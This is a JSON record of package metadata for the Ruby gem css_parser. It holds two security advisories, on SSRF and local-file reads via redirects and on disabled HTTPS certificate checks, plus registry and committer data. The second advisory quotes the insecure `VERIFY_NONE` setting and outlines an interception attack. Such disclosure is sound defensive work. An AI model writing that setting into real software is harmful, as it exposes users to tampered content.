apply identically here — the bytes flow through the same `add_block!` tokenizer regardless of whether they arrived via redirect or directly. Applications that don't accept HTTP URLs from users but *do* construct `file://` URIs from any user-supplied component are exposed.\n\nThis is a separate weakness (`CWE-73`) from the SSRF leg (`CWE-918`) and is gated by its own opt-in flag in 3.0.0 (see \"Fix as shipped in 3.0.0\" below).\n\n## Suggested remediation\n\n1. **Reject non-`http(s)` schemes in `read_remote_file`.** Before the recursive redirect call at line 661 and at the top of `read_remote_file`, require `uri.scheme.in?(%w[http https])`. The `file://` branch at lines 635-639 should be removed from `read_remote_file` entirely — local files are already handled by `load_file!`, so keeping a `file://` branch in the *remote* read path serves no purpose other than enabling this redirect bypass.\n2. **Validate the resolved address against private / link-local / loopback ranges**, behind an opt-in option (e.g. `allow_local_uris: false`). At minimum, resolve `uri.host` and reject results in `127.0.0.0/8`, `10/8`, `172.16/12`, `192.168/16`, `169.254/16`, `::1`, `fc00::/7`, `fe80::/10`, and unspecified addresses. The check must be done *after* DNS resolution and re-checked on every redirect hop, otherwise DNS rebinding and CNAME redirection trivially bypass it.\n3. **Re-validate every redirect hop.** The recursive call at line 661 currently inherits no validation. Apply the same scheme / host / address checks as step 1-2 before recursing.\n4. **Bound the response size** read from `http.get` and decompressed at lines 665-672, to mitigate decompression bombs.\n5. **Document the security posture.** `load_uri!` / `add_block!` with `base_uri:` should be documented as security-sensitive, with a clear recommendation that any caller exposing them to untrusted CSS use the allowlist option above.\n\nMany of these issues could be generally remediated by replacing the network logic with the [ssrf_filter](https://github.com/arkadiyt/ssrf_filter) gem.\n\n## Fix as shipped in 3.0.0\n\nThe remediation lands as two structural changes plus two new independent opt-in flags. The structural changes apply unconditionally; the flags let callers re-enable specific subsets of the old behaviour where they have a legitimate need.\n\n### Structural changes (always on, no opt-out)\n\n- **Outbound HTTP goes through [`ssrf_filter`](https://github.com/arkadiyt/ssrf_filter) by default.** `ssrf_filter` resolves the hostname with `Resolv`, rejects unsafe IP ranges (loopback, RFC-1918, link-local, multicast, IPv6 ULAs, cloud metadata), enforces a `scheme_whitelist` of `%w[http https]`, and re-validates scheme and IP on every redirect hop. CNAME-to-private-IP and other DNS-rebinding-style bypasses are defeated by the resolved-IP check.\n- **`file://` is no longer reachable from the remote-fetch path at all.** The `file://` handling was moved out of `read_remote_file` entirely into `load_uri!`, so a 3xx `Location: file://...` response cannot be followed regardless of how the parser is configured.\n- **`Accept-Encoding: gzip` is no longer requested** by the remote-fetch path, removing the decompression-bomb surface that was called out as a separate mitigation item.\n\n### New `Parser` options\n\nTwo independent off-by-default flags, mapping 1:1 to the two CWE classes:\n\n| Option | Default | Gates | Threat class |\n|---|---|---|---|\n| `allow_local_network` | `false` | http(s) requests resolving to loopback / RFC-1918 / link-local / IMDS addresses | CWE-918 (SSRF) |\n| `allow_file_uris` | `false` | `file://` URIs via `load_uri!` (and `@import` resolved against `file://` base_uri) | CWE-73 (LFI) |\n\nEach flag is **independent**: setting `allow_local_network: true` does **not** permit `file://`, and `allow_file_uris: true` does **not** permit loopback HTTP. Callers grant exactly the threat surface they need open and nothing more.\n\n`load_file!` — the explicit local-file API that takes a path (not a URI) — is unaffected by either flag, because the path comes from the caller's own code, not from a user-influenced URI.\n\n### Upgrade notes\n\n- **Premailer / email-rendering / link-preview pipelines**: no code changes required. The default-secure 3.0.0 configuration is exactly what you want — the same `Parser.new` instantiation now refuses SSRF and LFI attempts.\n- **Test suites that fetch from `localhost` or a loopback fixture server**: pass `allow_local_network: true` on the relevant `Parser.new` calls.\n- **Code that deliberately calls `parser.load_uri!('file://...')` or sets `base_uri: 'file://...'`**: pass `allow_file_uris: true`. Where possible, prefer migrating to `parser.load_file!(path)` instead — it's the explicit local-file API and is not subject to the URI gate.\n- **Code that uses both** (e.g. integration tests against a local HTTP fixture *and* file:// fixtures): pass both, `Parser.new(allow_local_network: true, allow_file_uris: true)`.\n\nThe fix landed across these commits: `ba74c3c` (failing tests), `7d2ddf0` (implementation), `e0a1514` (defensive invariant guards), all merged.\n\n## Credit\n\nThis vulnerability was reported by @JLLeitschuh of the @braze-inc security team. This vulnerability was originally discovered by the pentesters at @nccgroup.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-09T13:43:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","references":["https://github.com/premailer/css_parser/security/advisories/GHSA-9pmc-p236-855h","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/css_parser/CVE-2026-53727.yml","https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-53727","https://github.com/advisories/GHSA-9pmc-p236-855h"],"source_kind":"github","identifiers":["GHSA-9pmc-p236-855h","CVE-2026-53727"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-09T14:00:09.079Z","updated_at":"2026-07-09T20:00:09.260Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0","packages":[{"ecosystem":"rubygems","package_name":"css_parser","versions":[{"first_patched_version":"3.0.0","vulnerable_version_range":"\u003c 3.0.0"}],"purl":"pkg:gem/css_parser"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq","url":"https://github.com/advisories/GHSA-ff6c-w6qf-7xqc","title":"CSS Parser: Improper Certificate Validation allows MITM injection of remote CSS content","description":"### Summary\n\nThe CSS Parser gem does not validate HTTPS connections, allowing a Man-in-the-Middle (MITM) attacker to inject or modify CSS content when stylesheets are loaded via HTTPS. The connection is established with `OpenSSL::SSL::VERIFY_NONE`, meaning any HTTPS certificate—even entirely untrusted—will be accepted without validation.\n\n### Details\n\nIn `lib/css_parser/parser.rb`, the HTTP client sets:\nhttps://github.com/premailer/css_parser/blob/3f91e8db7547fac50ab50cb7f9920f785f722740/lib/css_parser/parser.rb#L646\n\n```ruby\nhttp.verify_mode = OpenSSL::SSL::VERIFY_NONE\n```\n\nAs a result, the library does not validate the authenticity of HTTPS connections and does not protect against man-in-the-middle attacks. Any attacker in a position to intercept network traffic can inject or modify CSS loaded via HTTPS URLs without detection or warning.\n\n### PoC\n\n1. Set up a test Ruby project that uses the CSS Parser gem and loads an external stylesheet over HTTPS.\n2. Use a local proxy (such as mitmproxy or Burp Suite) to intercept outgoing HTTPS requests.\n3. Present a fake self-signed certificate to the client.\n4. Inject custom CSS into the intercepted HTTPS response.\n   \nThe request will succeed and the injected CSS will be delivered to the application, as the connection is not validated.\n\n### References\n \nhttps://github.com/premailer/css_parser/issues/185\n\n### Impact\n\nApplications using CSS Parser to load remote stylesheets over HTTPS are vulnerable to CSS injection and content manipulation, regardless of the trust status of the remote server. All users who use CSS Parser to fetch external CSS over HTTPS may be impacted.\n\n### Credit\n\nThis vulnerability was uncovered by @JLLeitschuh of the @braze-inc security team.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-05-07T02:06:49.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N","references":["https://github.com/premailer/css_parser/security/advisories/GHSA-ff6c-w6qf-7xqc","https://github.com/premailer/css_parser/issues/185","https://github.com/premailer/css_parser/commit/35e689c904225add78e0c488cf04bad052666449","https://github.com/premailer/css_parser/commit/e0c95d5abe91b237becb90ff316531a6547ada18","https://nvd.nist.gov/vuln/detail/CVE-2026-44312","https://github.com/rubysec/ruby-advisory-db/blob/master/gems/css_parser/CVE-2026-44312.yml","https://github.com/advisories/GHSA-ff6c-w6qf-7xqc"],"source_kind":"github","identifiers":["GHSA-ff6c-w6qf-7xqc","CVE-2026-44312"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-05-07T03:00:08.861Z","updated_at":"2026-06-22T18:01:05.943Z","epss_percentage":0.00146,"epss_percentile":0.0418,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq","packages":[{"ecosystem":"rubygems","package_name":"css_parser","versions":[{"first_patched_version":"1.22.0","vulnerable_version_range":"\u003c 1.22.0"},{"first_patched_version":"2.1.0","vulnerable_version_range":"\u003e= 2.0.0, \u003c 2.1.0"}],"purl":"pkg:gem/css_parser"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mZjZjLXc2cWYtN3hxY84ABWXq/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/css_parser","docker_dependents_count":322,"docker_downloads_count":591371141,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/css_parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/css_parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-30T20:21:05.845Z","issues_count":43,"pull_requests_count":120,"avg_time_to_close_issue":24793859.64,"avg_time_to_close_pull_request":10644103.027777778,"issues_closed_count":25,"pull_requests_closed_count":108,"pull_request_authors_count":62,"issue_authors_count":37,"avg_comments_per_issue":2.6511627906976742,"avg_comments_per_pull_request":1.5916666666666668,"merged_pull_requests_count":93,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":3,"past_year_pull_requests_count":4,"past_year_avg_time_to_close_issue":4509.0,"past_year_avg_time_to_close_pull_request":243885.66666666666,"past_year_issues_closed_count":1,"past_year_pull_requests_closed_count":3,"past_year_pull_request_authors_count":4,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":4.333333333333333,"past_year_avg_comments_per_pull_request":1.25,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/issues","maintainers":[],"active_maintainers":[]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/css_parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/css_parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/css_parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/css_parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/css_parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages/css_parser/codemeta","maintainers":[{"uuid":"599","login":"grosser","name":null,"email":null,"url":null,"packages_count":182,"html_url":"https://gem.coop/profiles/grosser","role":null,"created_at":"2025-10-07T15:12:25.332Z","updated_at":"2025-10-07T15:12:25.332Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/grosser/packages"},{"uuid":"5928","login":"akzhan","name":null,"email":null,"url":null,"packages_count":13,"html_url":"https://gem.coop/profiles/akzhan","role":null,"created_at":"2025-10-07T15:12:27.181Z","updated_at":"2025-10-07T15:12:27.181Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/akzhan/packages"},{"uuid":"2772","login":"primdahl","name":null,"email":null,"url":null,"packages_count":6,"html_url":"https://gem.coop/profiles/primdahl","role":null,"created_at":"2025-10-07T15:12:26.135Z","updated_at":"2025-10-07T15:12:26.135Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/primdahl/packages"},{"uuid":"3051","login":"alexdunae","name":null,"email":null,"url":null,"packages_count":4,"html_url":"https://gem.coop/profiles/alexdunae","role":null,"created_at":"2025-10-07T15:12:24.678Z","updated_at":"2025-10-07T15:12:24.678Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers/alexdunae/packages"}],"registry":{"name":"gem.coop","url":"https://gem.coop","ecosystem":"rubygems","default":false,"packages_count":193782,"maintainers_count":68186,"namespaces_count":0,"keywords_count":18400,"github":"gem-coop","metadata":{"funded_packages_count":6885},"icon_url":"https://github.com/gem-coop.png","created_at":"2025-10-06T17:24:20.932Z","updated_at":"2026-06-10T05:17:24.062Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/gem.coop/namespaces"}},{"id":14541965,"name":"www/ruby-css-parser","ecosystem":"pkgsrc","description":"Ruby CSS parser","homepage":"https://github.com/premailer/css_parser","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["www","ruby"],"namespace":"www","versions_count":1,"first_release_published_at":"2026-04-06T10:50:15.000Z","latest_release_published_at":"2026-04-06T10:50:15.000Z","latest_release_number":"1.21.1","last_synced_at":"2026-05-27T10:51:38.916Z","created_at":"2026-05-27T10:51:38.623Z","updated_at":"2026-05-27T10:51:39.414Z","registry_url":"https://pkgsrc.se/www/ruby-css-parser","install_command":"pkg_add ruby40-css-parser","documentation_url":"https://pkgsrc.se/www/ruby-css-parser","metadata":{"pkg_slug":"ruby-css-parser","pkgbase":"ruby40-css-parser","machine_arch":"x86_64","opsys":"NetBSD","pkgname_latest":"ruby40-css-parser-1.21.1"},"repo_metadata":{},"repo_metadata_updated_at":"2026-05-27T10:51:39.394Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:pkgsrc/www/ruby-css-parser?arch=x86_64\u0026os=NetBSD","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pkgsrc/www/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pkgsrc/www/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pkgsrc/www/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/www%2Fruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/www%2Fruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/www%2Fruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/www%2Fruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/www%2Fruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages/www%2Fruby-css-parser/codemeta","maintainers":[],"registry":{"name":"pkgsrc-netbsd-x86_64-10.1-all","url":"https://cdn.netbsd.org/pub/pkgsrc/packages/NetBSD/x86_64/10.1/All","ecosystem":"pkgsrc","default":true,"packages_count":19499,"maintainers_count":0,"namespaces_count":42,"keywords_count":313,"github":"pkgsrc","metadata":{"funded_packages_count":53},"icon_url":"https://github.com/pkgsrc.png","created_at":"2026-05-26T08:59:24.518Z","updated_at":"2026-07-12T05:04:41.487Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pkgsrc-netbsd-x86_64-10.1-all/namespaces"}},{"id":13778633,"name":"ruby-css-parser","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T13:14:54.245Z","latest_release_published_at":"2026-02-13T13:14:54.245Z","latest_release_number":"1.6.0-2","last_synced_at":"2026-03-13T22:41:25.167Z","created_at":"2026-02-13T13:14:54.009Z","updated_at":"2026-03-13T22:41:25.168Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.6.0","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb, rake, ruby-addressable, ruby-minitest, ruby-test-unit, ruby-webrick (\u003e= 1.7.0)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T13:14:54.812Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-css-parser?arch=source\u0026distro=ubuntu-22.04\u0026repository_url=https://launchpad.net/ubuntu/jammy","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"ubuntu-22.04","url":"https://launchpad.net/ubuntu/jammy","ecosystem":"ubuntu","default":false,"packages_count":34289,"maintainers_count":0,"namespaces_count":4,"keywords_count":1523,"github":"ubuntu","metadata":{"codename":"jammy","funded_packages_count":167},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:46.486Z","updated_at":"2026-06-10T05:17:45.610Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-22.04/namespaces"}},{"id":13712181,"name":"ruby-css-parser","ecosystem":"debian","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T23:27:36.046Z","latest_release_published_at":"2026-02-12T23:27:36.046Z","latest_release_number":"1.6.0-2","last_synced_at":"2026-03-13T03:28:40.663Z","created_at":"2026-02-12T23:27:35.770Z","updated_at":"2026-03-13T03:28:40.663Z","registry_url":"https://tracker.debian.org/pkg/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":"https://packages.debian.org/bookworm/ruby-css-parser","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.6.0","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb, rake, ruby-addressable, ruby-minitest, ruby-test-unit, ruby-webrick (\u003e= 1.7.0)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T23:27:36.581Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-css-parser?arch=source\u0026distro=debian-12","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"debian-12","url":"https://packages.debian.org/bookworm","ecosystem":"debian","default":true,"packages_count":34734,"maintainers_count":0,"namespaces_count":4,"keywords_count":2667,"github":"debian","metadata":{"codename":"bookworm","funded_packages_count":395},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:49.459Z","updated_at":"2026-06-10T05:17:51.014Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-12/namespaces"}},{"id":13721720,"name":"ruby-css-parser","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/premailer/css_parser","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/premailer/css_parser","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-13T01:02:08.635Z","latest_release_published_at":"2026-02-13T01:02:08.635Z","latest_release_number":"1.16.0-1","last_synced_at":"2026-03-13T04:14:22.385Z","created_at":"2026-02-13T01:02:08.322Z","updated_at":"2026-03-13T04:30:42.912Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-css-parser","install_command":"apt-get install ruby-css-parser","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-css-parser","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb, rake, ruby-addressable, ruby-maxitest, ruby-test-unit, ruby-webrick (\u003e= 1.7.0)","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-13T01:02:39.288Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-css-parser?arch=source\u0026distro=ubuntu-24.04","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-css-parser","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-css-parser","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-css-parser/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-css-parser/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-css-parser/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-css-parser/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-css-parser/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-css-parser/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-css-parser/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.04","url":"https://launchpad.net/ubuntu/noble","ecosystem":"ubuntu","default":true,"packages_count":37306,"maintainers_count":0,"namespaces_count":4,"keywords_count":1701,"github":"ubuntu","metadata":{"codename":"noble","funded_packages_count":198},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:45.928Z","updated_at":"2026-06-10T05:17:44.581Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/namespaces"}}],"commits":{"id":19064,"full_name":"premailer/css_parser","default_branch":"master","total_commits":398,"total_committers":73,"total_bot_commits":0,"total_bot_committers":0,"mean_commits":5.4520547945205475,"dds":0.7914572864321608,"past_year_total_commits":15,"past_year_total_committers":4,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":3.75,"past_year_dds":0.4,"last_synced_at":"2026-08-15T05:30:56.559Z","last_synced_commit":"deaf5a1ece3293e57c250b75e302b6a058ea7bbe","created_at":"2023-03-07T11:39:49.675Z","updated_at":"2026-08-15T05:30:56.351Z","committers":[{"name":"Alex Dunae","email":"alex@dunae.ca","login":"alexdunae","count":83},{"name":"Michael Grosser","email":"michael@grosser.it","login":"grosser","count":72},{"name":"Akzhan Abdulin","email":"akzhan.abdulin@gmail.com","login":"akzhan","count":54},{"name":"Geremia Taglialatela","email":"tagliala.dev@gmail.com","login":"tagliala","count":15},{"name":"ojab","email":"ojab@ojab.ru","login":"ojab","count":15},{"name":"Alex Dunae","email":"alex@dunae.ca = Alex Dunae alex@dunae.ca","login":null,"count":13},{"name":"Godwin","email":"goodgodwin@hotmail.com","login":"G0dwin","count":12},{"name":"Tyler Cunnion","email":"tyler.cunnion@gmail.com","login":"tylercunnion","count":9},{"name":"Nick Plante","email":"nap@zerosum.org","login":"zapnap","count":7},{"name":"Morten Primdahl","email":"morten@zendesk.com","login":"morten","count":6},{"name":"Steven Daniels","email":"stevendaniels88@gmail.com","login":"stevendaniels","count":6},{"name":"Simon","email":"simon.toivo@telhaug.no","login":"stoivo","count":5},{"name":"martent","email":"marten@thavenius.se","login":"martent","count":4},{"name":"Mark Edmondson","email":"mark.edmondson@gmail.com","login":"markedmondson","count":4},{"name":"George","email":"31376482+george-gca","login":"george-gca","count":4},{"name":"Dorian Marié","email":"dorian@dorianmarie.fr","login":"dorianmariefr","count":4},{"name":"ju1ius","email":"jules.bernable@laposte.net","login":null,"count":3},{"name":"Tres Wong-Godfrey","email":"tres@clean.io","login":null,"count":3},{"name":"Jonathan Leitschuh","email":"Jonathan.Leitschuh@braze.com","login":"JLLeitschuh","count":3},{"name":"Julien Kirch","email":"code@archiloque.net","login":"archiloque","count":3},{"name":"Leonid Shevtsov","email":"leonid@shevtsov.me","login":"leonid-shevtsov","count":3},{"name":"Matt Sanford","email":"matt@mzsanford.com","login":"mzsanford","count":3},{"name":"Paul Sokolik","email":"sokolik@squareup.com","login":"sokolikp","count":2},{"name":"Matthew Hicks","email":"mkigikm@gmail.com","login":"mkigikm","count":2},{"name":"Kieran","email":"kieran.mccusker@kwest.info","login":"mccuskk","count":2},{"name":"Jonathan del Strother","email":"me@delstrother.com","login":"jdelStrother","count":2},{"name":"Johnny Shields","email":"johnny.shields@gmail.com","login":"johnnyshields","count":2},{"name":"Jason","email":"mail@jasonlambert.co.uk","login":"mendable","count":2},{"name":"J Smith","email":"dark.panda@gmail.com","login":"dark-panda","count":2},{"name":"Anton Rieder","email":"1301152+aried3r","login":"aried3r","count":2},{"name":"Andy Beckwith","email":"abeckwith@zendesk.com","login":"alduethadyn","count":2},{"name":"Mikkel","email":"mikkel@hacklite.net","login":null,"count":2},{"name":"unknown","email":"alexd@.oakbay.local","login":null,"count":2},{"name":"Scott Goci","email":"scottjg@gmail.com","login":"scouttyg","count":2},{"name":"Simon Gate","email":"simon@smgt.me","login":"smgt","count":2},{"name":"Stanisław Pitucha","email":"stan.pitucha@envato.com","login":"viraptor","count":2},{"name":"Tim Craft","email":"mail@timcraft.com","login":"timcraft","count":2},{"name":"reud","email":"31179220+reud","login":"reud","count":2},{"name":"Myers Carpenter","email":"myers@maski.org","login":"myers","count":1},{"name":"Rafael Masson","email":"rafbmasson@gmail.com","login":"rafbm","count":1},{"name":"Rafael de Oleza","email":"rafeca@gmail.com","login":"rafeca","count":1},{"name":"Rusty Klophaus","email":"rklophaus@gmail.com","login":"rustyio","count":1},{"name":"Trevor Lalish-Menagh","email":"trev@trevreport.org","login":"trevmex","count":1},{"name":"Visnu 